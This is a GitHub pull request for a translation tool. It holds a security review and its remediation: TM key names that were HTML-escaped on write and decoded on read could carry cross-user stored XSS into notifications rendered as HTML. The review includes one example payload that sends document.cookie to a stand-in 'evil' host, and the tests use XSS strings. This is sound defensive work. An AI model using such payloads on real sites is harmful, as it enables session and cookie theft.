🔒 security(tm-keys): store names raw, validate input and encode at output sinks - #4716
🔒 security(tm-keys): store names raw, validate input and encode at output sinks#4716mauretto78 wants to merge 3 commits into
Conversation
mauretto78
changed the title
🧪 Test-Guard Report✅ PASS — All changed source files have adequate test coverage. Coverage Analysis: ✅ PASSChanged lines: 100.0% covered (threshold: 80%) 📋 6 files: 6 ✅ pass
Result: ✅ PASS |
There was a problem hiding this comment.
Review — escape TM key names instead of rejecting them
Verdict: request changes. The goal is right (users should be able to name a resource R&D — Client (2024)), but the chosen mechanism — HTML-escape on write, HTML-decode on read — converts an input that was previously rejected into one that is stored and then handed to dangerouslySetInnerHTML. As it stands the branch is net-negative on security. Four smaller defects come along with it.
Everything below was verified against the branch: PHP edge cases executed locally, frontend flow traced from the API response to the render sink, review done read-only (nothing checked out, temp ref deleted). CI is fully green (17/17, PHPStan + CodeQL + PHPMD included) — that is not evidence against these findings, see Why CI stayed green.
Findings
| # | Severity | Finding |
|---|---|---|
| H1 | High | Decoding the stored value reintroduces cross-user stored XSS via three allowHtml notifications |
| H2 | High | Escaping at the input boundary is the wrong layer — every other consumer of the name is now wrong |
| M3 | Medium | htmlspecialchars without ENT_SUBSTITUTE silently deletes non-UTF-8 names |
| M4 | Medium | FILTER_FLAG_STRIP_LOW dropped — control characters now persist in stored names |
| M5 | Medium | Array-valued description no longer rejected; stores the literal string "Array" |
| L6 | Low | decodeHtml(undefined) returns the string "undefined" |
| L7 | Low | Third duplicate HTML-decode helper added to the tree |
| L8 | Low | No test for the new decode helper, and no backend cases for the edges above |
H1 — Decoding reintroduces cross-user stored XSS
The chain. htmlspecialchars on write stores <img src=x onerror=…>. TEXT_UTILS.decodeHtml (public/js/utils/textUtils.js ~:501) turns that back into live markup at three read sites:
public/js/pages/CatTool.js:241— user keys in the editor settings panelpublic/js/pages/NewProject.js:437— user keys on project creationpublic/js/actions/CatToolActions.js~:161 — job keys, which every collaborator on the job loads
The decoded value then reaches three notifications that pass allowHtml: true:
ShareResource.js:53—text: `The resource <b>${row.name}</b> has been shared.`TMKeyRow.js:327—text: `The resource (<b>${row.name}</b>) has been successfully deleted`TMCreateResourceRow.js:172(flag at :174) —text: `Resource <b>${name}</b> created successfully`
NotificationItem.js:134-143 renders those through dangerouslySetInnerHTML={allowHTML(text)}, and allowHTML is (string) => ({__html: string}). No sanitizer anywhere on the path.
Why it is cross-user, not self-XSS. TmKeyManager::shareKey() re-uids the owner's same tm_key struct into each recipient's key ring, so the name the owner chose is the name every recipient sees. CatToolActions decodes the job key list that every translator and reviewer on the job loads. So:
- Attacker names a key
<img src=x onerror=fetch('//evil/?c='+document.cookie)>. Stored escaped — request succeeds, no error. - Victim opens the settings panel.
decodeHtmlrestores live markup intorow.name. - Victim clicks share or delete on that resource. Payload executes in the victim's session.
Before this branch both gates made step 1 unreachable: UserKeysController::validateTheRequest() threw -3, and TmKeyManager::sanitize()'s allowlist regex stripped </> outright.
Remediation. Two parts, both worth doing:
Fix the sink — make the notification text a ReactNode instead of an HTML string. The bold survives, the user value stays a text node, and React escapes it:
CatToolActions.addNotification({
title: 'Resource shared',
type: 'success',
text: <>The resource <b>{row.name}</b> has been shared.</>,
position: 'br',
timer: 5000,
})Drop allowHtml: true from all three call sites. NotificationItem.js:145-149 already renders {text} safely in the non-HTML branch, and a ReactNode passes through it unchanged. Do this regardless of the storage decision — those sinks are unsafe for every other user-controlled value they receive, so this is a latent bug the branch merely made reachable.
Remove the need to decode — see H2. With raw storage there is nothing to decode, and decodeHtml plus its three call sites are deleted.
Longer term: allowHtml should accept only developer-authored constant strings, or be deleted. There are roughly twenty components using the allowHTML idiom; each is a place where one interpolated variable becomes an XSS.
H2 — Escaping at the input boundary is the wrong layer
Presentation encoding in the database forces every consumer to know the encoding. The name already flows to sinks with mutually incompatible rules:
| Sink | Correct encoding | What escaped storage does |
|---|---|---|
| React text node | none (auto-escaped) | shows R&D literally |
dangerouslySetInnerHTML |
never interpolate | H1 once decoded |
| TMX / XLIFF export | XML-escape (', not ') |
double-escapes |
| Glossary CSV export | formula guard for leading = + - @ |
no protection added |
Share email (ShareKeyEmail) |
template escaping | double-escapes, entities visible in the mail |
| MyMemory API | JSON | sends R&D as the memory name |
Export filename (useExport.js:29) |
path/header rules | no protection added |
| Logs | strip controls | no protection added |
Escaping on write does not remove the need for per-sink encoding — it hides it, and adds a decode step. That decode step is what created H1.
Encoded storage also breaks ordinary data operations: WHERE name LIKE '%R&D%' misses R&D; a 45-character column can truncate mid-entity into &am; uniqueness and dedup treat R&D and R&D as different values; sorting shifts.
Remediation. Store raw, validate on input, encode at each output. Full step-by-step in Remediation plan.
M3 — Missing ENT_SUBSTITUTE silently deletes names
Verified locally:
htmlspecialchars("Memoria \xC3 rotta", ENT_QUOTES, 'UTF-8') → "" (length 0)
htmlspecialchars("Memoria \xC3 rotta", ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') → "Memoria � rotta"
htmlspecialchars returns the empty string on invalid UTF-8 unless ENT_SUBSTITUTE is set. Consequences on this branch:
UserKeysController::validateTheRequest()— the empty result then hits'description' => (!empty($description)) ? $description : null(:199), so the name is silently dropped tonulland the API answerssuccess: true.TmKeyManager::sanitize()— the name becomes''.
Any latin-1 paste (a name copied out of a legacy CAT tool or an Excel export) loses the name with no error shown. Pre-branch, filter_var is byte-based and preserved such input.
Remediation. Validate the encoding explicitly and reject, rather than papering over it with a replacement character — a name is short enough that failing loudly is better than storing Memoria � rotta:
if (!mb_check_encoding($name, 'UTF-8')) {
throw new InvalidArgumentException("Resource name is not valid UTF-8", -3);
}If any escaping survives the rework for an unrelated reason, it must use ENT_QUOTES | ENT_SUBSTITUTE.
M4 — FILTER_FLAG_STRIP_LOW dropped
Verified: htmlspecialchars leaves "name\x00\x1b[31m\nsecond" byte-identical. Both call sites previously passed FILTER_FLAG_STRIP_LOW, so NUL, ESC and newlines were removed; now they persist into memory_keys.name and the jobs.tm_keys JSON blob, and from there into export filenames, MyMemory calls and log lines. The deliberateness of the old behaviour is visible in the deleted test, which asserted the removal of a message about non-printable characters.
Remediation. Strip invisible characters as part of input validation — see step 2 of the plan, which also covers zero-width and bidi-override spoofing that the old allowlist blocked only by accident.
M5 — Array-valued description now accepted
$this->request->param('description') returns an array for description[]=x. On this branch !empty($description) is true, (string)$description emits an "Array to string conversion" warning, and the literal string "Array" is stored. There is no set_error_handler under inc/ or lib/ to promote that warning, so the request succeeds.
Pre-branch, filter_var returned false for an array and the mismatch check threw -3.
Remediation. Type-guard first (included in step 2):
if (!is_string($name)) {
throw new InvalidArgumentException("Resource name must be a string", -3);
}L6 — decodeHtml(undefined) returns "undefined"
innerHTML is declared [LegacyNullToEmptyString] DOMString, so null maps to '' but undefined stringifies to "undefined" and comes back out of .value. A key arriving without a name property renders the word "undefined" in the panel.
Remediation. Moot once the helper is deleted (step 3). If it survives for another reason: decodeHtml: (text = '') => … or String(text ?? '').
L7 — Third duplicate decode helper
decodeHtmlEntities already exists in public/js/components/segments/utils/DraftMatecatUtils, and public/js/utils/contextPreviewUtils.js carries a variant. TEXT_UTILS.decodeHtml is the third. Consolidate or delete.
L8 — Test gaps
The PHP tests were properly inverted rather than deleted — the -3 assertions became escape assertions and the provider gained an expected-escape column. That part is good. Missing:
- Backend: invalid UTF-8 (M3), control characters (M4), array param (M5).
- Backend: round-trip idempotency. I verified
escape → decode → escapeis stable, which is why no&amp;accumulation shows up today; nothing locks that in. - Frontend:
decodeHtmlis untested, and neitherCatTool.test.jsnorNewProject.test.jswas touched even though both now run the new mapping.public/CLAUDE.mdasks for colocated tests and a greenyarn test.
Concrete tests in Tests to add.
The pattern: store raw, encode per sink
Validation and encoding are different jobs at different layers. Conflating them is the root cause of H1–H5.
| Layer | Job | For a TM key name |
|---|---|---|
| Input | Validate and normalize semantics | valid UTF-8, no invisible characters, length cap, trim, NFC |
| Storage | Hold exactly what the user meant | R&D — Client (2024) |
| Output | Encode for this specific destination | HTML-escape, XML-escape, CSV guard, URL-encode… |
Three reasons this ordering is the right one:
One encoding cannot serve every sink. See the table in H2. htmlspecialchars is correct for exactly one destination out of eight and wrong-to-useless for the rest. Whatever you encode at input, you still need per-sink encoding at output — so input encoding buys nothing and costs a decode step.
The database is not a destination. It is a record of what the user meant. Once presentation encoding leaks in, search, length limits, uniqueness, sorting and dedup all operate on the wrong string.
Decoding is the dangerous half. Encoding at input forces a decode before editing. That produces a variable holding live markup inside a codebase where ~20 components can put a variable into dangerouslySetInnerHTML. H1 is that hazard realised. Raw storage never materialises live markup: React escapes text nodes by default, so the normal render path is safe with no ceremony, and the only unsafe places are the deliberate HTML sinks — which need fixing for all user data anyway.
The one case where encoded storage is correct is when the field is HTML — a rich-text body you intend to render as markup. There you store sanitized HTML (HTMLPurifier / DOMPurify with an allowlist), not escaped HTML, and the column is documented as HTML-typed. A resource name is plain text, so it is not that case.
Rule of thumb: escape as late as possible, and for the destination you are writing to.
Remediation plan
Ordered so each step is independently reviewable.
1. Keep the goal, drop the escape. Remove htmlspecialchars from UserKeysController::validateTheRequest() and from the name branch of TmKeyManager::sanitize() (:233-236). Names are stored raw.
2. Replace it with real input validation, in one place. TmKeyManager::sanitize() is already the choke point; the controller should call it rather than carry a second rule. ext-intl is a hard requirement in composer.json, so Normalizer is available:
if (!is_string($name)) { // M5
throw new InvalidArgumentException("Resource name must be a string", -3);
}
if (!mb_check_encoding($name, 'UTF-8')) { // M3
throw new InvalidArgumentException("Resource name is not valid UTF-8", -3);
}
// M4: control and format characters are invisible. Cc covers NUL/ESC/newlines, Cf covers
// zero-width and bidi overrides used to spoof how a name reads. Everything printable stays;
// escaping is the output layer's job.
$name = preg_replace('/[\p{Cc}\p{Cf}]/u', '', $name);
$name = Normalizer::normalize(trim($name), Normalizer::FORM_C);
$name = mb_substr($name, 0, 255);This closes M3, M4 and M5 in one place, and additionally blocks the invisible-character spoofing that the old allowlist blocked only as a side effect. Two notes: \p{Cc} includes tab and newline, which is what you want for a single-line name; \p{Cf} includes U+200D (ZWJ), so if emoji in resource names matter, exclude it — /[\p{Cc}\p{Cf}](?<!\x{200D})/u or an explicit character list.
3. Delete TEXT_UTILS.decodeHtml and its three call sites (CatTool.js:241, NewProject.js:437, CatToolActions.js ~:161). With raw storage there is nothing to decode. Closes L6 and L7.
4. Fix the three notification sinks to pass a ReactNode and drop allowHtml: true (ShareResource.js:53, TMKeyRow.js:327, TMCreateResourceRow.js:169-176). Closes H1 at the sink. Independently valuable.
5. Encode at each output, in the serializer that owns it. XML-escape in the TMX/XLIFF writer; formula-guard leading = + - @ in the glossary CSV writer; escape in the email template (PHPTAL's tal:content does this by default); rawurlencode for URLs; strip control characters for logs; sanitize the filename in useExport.js:29. json_encode and PDO placeholders already cover JSON and SQL. Closes H2. Reasonable to split into a follow-up PR provided step 4 lands with this one.
6. Add the tests — see below.
Tests to add
Backend
- Stored value is byte-identical to input across a payload set:
<script>alert(1)</script>,R&D,"quoted",L'été,Memoria è rotta, an emoji name. - Invalid UTF-8 (
"Memoria \xC3 rotta") throws-3and stores nothing — notnull, not''. - Control characters (
"a\x00b\x1bc\nd") are stripped, printable characters preserved. - Array param (
description[]=x) throws-3and emits no PHP warning. - Zero-width / bidi characters (U+200B, U+202E) are stripped.
- A query asserting no stored name matches
/&(lt|gt|amp|quot|#0?39);/after a create-and-read cycle — the invariant that guards against the pattern regressing.
Frontend
- A key named
<img src=x onerror="…">renders as text:queryByRole('img')isnullandtextContentcontains the literal string. Add to bothCatTool.test.jsandNewProject.test.js, which already mock the key endpoints. - The three notifications render the name as text with the
<b>wrapper intact.
What the branch got right
- The user-facing goal is correct: rejecting
&and(in a resource name is a bad experience, and the old allowlist was far too narrow. - Tests were inverted rather than deleted — the intent change is legible in the diff.
- No legacy-data hazard was introduced, because pre-branch storage is entity-free.
mergeJsonKeys(TmKeyManager.php:320) escapes only client-submitted keys, not job keys, so server-side reads do not re-escape. Combined with the verified idempotency ofescape → decode → escape, that is why no&amp;accumulation appears today.
Why CI stayed green
All 17 checks pass, including PHPStan, PHPMD and CodeQL. That is expected and does not contradict H1:
- The taint flows through
allowHTML's{__html: string}return, an indirection CodeQL's default JavaScript query set does not follow to adangerouslySetInnerHTMLprop, and the source is a server API response rather than a recognised DOM-local source. - PHPStan sees
(string)$mixedandhtmlspecialchars(string)as well-typed. Both are — the defect is semantic. - No existing test asserted the old strip behaviour for
name, so nothing failed.
The gap is coverage, not configuration: no test asserts that a stored resource name reaches the DOM as text.
mauretto78
changed the title
|
@Ostico thanks for the review — every finding was verified against the branch and confirmed, and the remediation is now implemented in 9ff85d5 following your plan (store raw → validate input → encode per sink). Point-by-point: H1 (decode + H2 (wrong layer) — fixed. No escaping at input, none in storage. M3 / M4 / M5 — fixed as above; each has a dedicated test (invalid UTF-8 → L6 / L7 — moot: the helper is deleted. Consolidating the two pre-existing decode helpers ( L8 — tests added: backend as above; frontend got Three small corrections to the review, none affecting a verdict:
And four sinks the sweep turned up beyond the review, all fixed in this commit:
Out of scope, as discussed in your plan: MyMemory-side CSV formula guard (no local CSV writer includes the name), the Verification: full phpunit 9245 tests (only failures are the 4 pre-existing |
🧪 Test-Guard Report✅ PASS — All changed source files have adequate test coverage. Coverage Analysis: ❌ FAILChanged lines: 83.0% covered (threshold: 80%) 📋 41 files: 2 ❌ fail, 39 ✅ pass
Test File Matching: ❌ FAILFile matching: 3 pass, 11 warning, 27 fail 📋 41 files: 27 ❌ fail, 11
|
| File | Verdict | Reason |
|---|---|---|
lib/Controller/API/App/CreateProjectController.php |
Test file exists (tests/unit/Core/Controllers/CreateProjectControllerTest.php) but was not modified in this PR | |
lib/Controller/API/App/TMXFileController.php |
Test file exists (tests/unit/Core/Controllers/TMXFileControllerTest.php) but was not modified in this PR | |
lib/Controller/API/App/TmKeyManagementController.php |
❌ fail | No matching test file found |
lib/Controller/API/App/UserKeysController.php |
✅ pass | Test file modified in PR: tests/unit/Core/Controllers/UserKeysControllerTest.php |
lib/Controller/API/V1/NewController.php |
Test file exists (tests/unit/Core/Controllers/NewControllerTest.php) but was not modified in this PR | |
lib/Controller/API/V3/DownloadQRController.php |
Test file exists (tests/unit/Core/Controllers/DownloadQRControllerTest.php) but was not modified in this PR | |
lib/Utils/TMS/TMSService.php |
Test file exists (tests/unit/Core/TMS/TMSServiceTest.php) but was not modified in this PR | |
lib/Utils/TmKeyManagement/TmKeyManager.php |
✅ pass | Test file modified in PR: tests/unit/Core/TmKeyManagement/TmKeyManagerTest.php |
public/js/actions/CatToolActions.js |
Test file exists (public/js/actions/CatToolActions.test.js) but was not modified in this PR | |
public/js/actions/ManageActions.js |
❌ fail | No matching test file found |
public/js/actions/SegmentActions.js |
Test file exists (public/js/actions/SegmentActions.test.js) but was not modified in this PR | |
public/js/components/header/cattol/MarkAsCompleteButton.js |
❌ fail | No matching test file found |
public/js/components/header/cattol/segment_filter/segment_filter.js |
❌ fail | No matching test file found |
public/js/components/modals/ShareTmModal.js |
❌ fail | No matching test file found |
public/js/components/notificationsComponent/NotificationBox.js |
❌ fail | No matching test file found |
public/js/components/notificationsComponent/NotificationItem.js |
✅ pass | Test file modified in PR: public/js/components/notificationsComponent/NotificationItem.test.js |
public/js/components/outsource/AssignToTranslator.js |
❌ fail | No matching test file found |
public/js/components/projects/JobContainer.js |
Test file exists (public/js/components/projects/JobContainer.test.js) but was not modified in this PR | |
public/js/components/projects/ProjectsBulkActions/ProjectsBulkActions.js |
❌ fail | No matching test file found |
public/js/components/quality_report/SegmentQR.js |
❌ fail | No matching test file found |
public/js/components/quality_report/SegmentQRLine.js |
❌ fail | No matching test file found |
public/js/components/review_extended/ReviewExtendedIssue.js |
❌ fail | No matching test file found |
public/js/components/segments/SegmentFooterTabAiAlternatives.js |
Test file exists (public/js/components/segments/SegmentFooterTabAiAlternatives.test.js) but was not modified in this PR | |
public/js/components/segments/SegmentFooterTabLaraStyles.js |
Test file exists (public/js/components/segments/SegmentFooterTabLaraStyles.test.js) but was not modified in this PR | |
public/js/components/settingsPanel/Contents/MachineTranslationTab/DeepLGlossary/DeepLGlossary.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/MachineTranslationTab/DeepLGlossary/DeepLGlossaryCreateRow.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/MachineTranslationTab/MTGlossary/MTGlossary.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/MachineTranslationTab/MTGlossary/MTGlossaryCreateRow.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/MachineTranslationTab/MTGlossary/MTGlossaryRow.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/MachineTranslationTab/MachineTranslationTab.js |
Test file exists (public/js/components/settingsPanel/Contents/MachineTranslationTab/MachineTranslationTab.test.js) but was not modified in this PR | |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/ExportGlossary.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/ExportTMX.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/ShareResource.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/TMCreateResourceRow.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/TMKeyRow.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/hooks/useExport.js |
❌ fail | No matching test file found |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/hooks/useImport.js |
❌ fail | No matching test file found |
public/js/setTranslationUtil.js |
❌ fail | No matching test file found |
public/js/sse/SocketListener.js |
❌ fail | No matching test file found |
public/js/utils/offlineUtils.js |
❌ fail | No matching test file found |
public/js/utils/textUtils.js |
❌ fail | No matching test file found |
Per-File Evaluation: ✅ PASS
Evaluated 41 files: 2 via AI (1 batch), 39 via shortcuts.
📋 41 files: 4 ✅ pass, 37 ⏭️ skip
| File | Verdict | Reason |
|---|---|---|
lib/Controller/API/App/CreateProjectController.php |
⏭️ skip | shortcut → trivial change (whitespace/comments only) |
lib/Controller/API/App/TmKeyManagementController.php |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
lib/Controller/API/App/UserKeysController.php |
✅ pass | shortcut → coverage 100% ≥ 80% |
lib/Controller/API/V1/NewController.php |
⏭️ skip | shortcut → trivial change (whitespace/comments only) |
lib/Controller/API/V3/DownloadQRController.php |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
lib/Utils/TmKeyManagement/TmKeyManager.php |
✅ pass | shortcut → coverage 92% ≥ 80% |
public/js/actions/CatToolActions.js |
⏭️ skip | shortcut → trivial change (whitespace/comments only) |
public/js/actions/ManageActions.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/actions/SegmentActions.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/header/cattol/MarkAsCompleteButton.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/header/cattol/segment_filter/segment_filter.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/modals/ShareTmModal.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/notificationsComponent/NotificationBox.js |
⏭️ skip | shortcut → trivial change (whitespace/comments only) |
public/js/components/notificationsComponent/NotificationItem.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/outsource/AssignToTranslator.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/projects/JobContainer.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/projects/ProjectsBulkActions/ProjectsBulkActions.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/quality_report/SegmentQR.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/quality_report/SegmentQRLine.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/review_extended/ReviewExtendedIssue.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/segments/SegmentFooterTabAiAlternatives.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/segments/SegmentFooterTabLaraStyles.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/MachineTranslationTab/DeepLGlossary/DeepLGlossary.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/MachineTranslationTab/DeepLGlossary/DeepLGlossaryCreateRow.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/MachineTranslationTab/MTGlossary/MTGlossary.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/MachineTranslationTab/MTGlossary/MTGlossaryCreateRow.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/MachineTranslationTab/MTGlossary/MTGlossaryRow.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/MachineTranslationTab/MachineTranslationTab.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/ExportGlossary.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/ExportTMX.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/ShareResource.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/TMCreateResourceRow.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/TMKeyRow.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/hooks/useExport.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/components/settingsPanel/Contents/TranslationMemoryGlossaryTab/hooks/useImport.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/setTranslationUtil.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/sse/SocketListener.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/utils/offlineUtils.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
public/js/utils/textUtils.js |
⏭️ skip | shortcut → in coverage report, but no executable lines changed |
lib/Controller/API/App/TMXFileController.php |
✅ pass | Tests cover rename with valid and invalid TMX filenames, including exception handling. |
lib/Utils/TMS/TMSService.php |
✅ pass | Test added verifies HTML escaping of suggestion origin to prevent XSS. |
Result: ✅ PASS
3 participants
Summary
Reworked after review: TM key names/descriptions are now stored raw — no escaping at the
input boundary and no decoding on read. Input validation is consolidated in a single choke
point (
TmKeyManager::validateName()): non-string or invalid-UTF-8 names are rejected withcode
-3, control/format characters (including zero-width and bidi overrides) are stripped,the value is NFC-normalized, trimmed and capped at 255 chars. Escaping now happens at each
output sink (TMX XML prop, ShareKey email template, QR XML). On the frontend the decode
helper is gone, every
allowHtml: truenotification interpolating data was converted toReactNode text (React escapes it), the jQuery-bound undo links became real
onClickhandlers, and the remaining
dangerouslySetInnerHTMLpaths (tag-pill markup, SSE operatorbroadcasts) are sanitized with DOMPurify.
Type
feat— new user-facing featurefix— bug fixrefactor— restructure without behavior changechore— build, deps, config, docsperf— performance improvementtest— test coverageChanges
lib/Utils/TmKeyManagement/TmKeyManager.phpvalidateName()(type/UTF-8 checks, Cc/Cf strip with ZWJ kept, NFC, trim, 255 cap);sanitize()stores names rawlib/Controller/API/App/UserKeysController.phpdescriptionvalidated viavalidateName(), stored raw; array/invalid-UTF-8 input rejected with-3lib/Controller/API/App/TMXFileController.phpvalidateName()(was an unsanitized bypass)lib/Controller/API/App/TmKeyManagementController.phphtml_entity_decode(would corrupt a literal&under raw storage)lib/Utils/TMS/TMSService.phpx-MateCAT-suggestion-originproplib/View/Emails/ShareKey/message_content.htmltm_key_name, sender name/email, recipient address (template rendered with zero auto-escaping)lib/Controller/API/V3/DownloadQRController.php<suggestion_source>(hardening)lib/Controller/API/App/CreateProjectController.php,lib/Controller/API/V1/NewController.php@throwsPHPDoc for the new checked exceptionpublic/js/utils/textUtils.jsdecodeHtmlremoved; newsanitizedHTML()(DOMPurify) as the only sanctioneddangerouslySetInnerHTMLfeederpublic/js/pages/CatTool.js,public/js/pages/NewProject.js,public/js/actions/CatToolActions.jsdevelopstate)public/js/components/notificationsComponent/NotificationItem.jsallowHtmlbranch sanitized with DOMPurify;titleaccepts ReactNode;allowHtmldocumented as reserved for operator broadcastsallowHtml: trueremoved; markup-bearing texts converted to JSX ReactNodes; jQuery undo links → ReactonClickpublic/js/components/segments/SegmentFooterTab{AiAlternatives,LaraStyles}.js,public/js/components/quality_report/SegmentQR{,Line}.jssanitizedHTML()package.json,yarn.lockdompurifytests/unit/Core/TmKeyManagement/TmKeyManagerTest.php,tests/unit/Core/Controllers/UserKeysControllerTest.php-3rejections, control/zero-width stripping, NFC+trim, length cap, no-entities invarianttests/unit/Core/Controllers/TmKeyManagementAppControllerTest.phppublic/js/**(new tests)NotificationItem.test.js,textUtilsSanitizedHTML.test.js, XSS render-as-text test inTranslationMemoryGlossaryTab.test.jsTesting
vendor/bin/phpunit --exclude-group=ExternalServices --no-coveragepasses./vendor/bin/phpstanpasses (0 errors, with baseline)Full phpunit run: 9245 tests — the only failures are the 4 pre-existing
CommentControllerTestbroker-unavailable tests, which fail in any environment where ActiveMQ is reachable and are
unrelated to this branch. PHPStan: 0 errors on the full codebase. Jest: 77 suites / 764 tests
green.
yarn build:devOK.AI Disclosure
Claude Code
Notes
(
plugins/aligner/.../Controller/TmController.php:179); the fix is staged in the submoduleworking tree but needs its own commit/PR in the plugin repository.
the two pre-existing frontend decode helpers, a
TaggedTextcomponent to replace the ~12transformTagsToHtmlconsumers, andRequestExportTMXController'sSTRIP_HIGHmangling ofnon-ASCII zip names (pre-existing correctness quirk).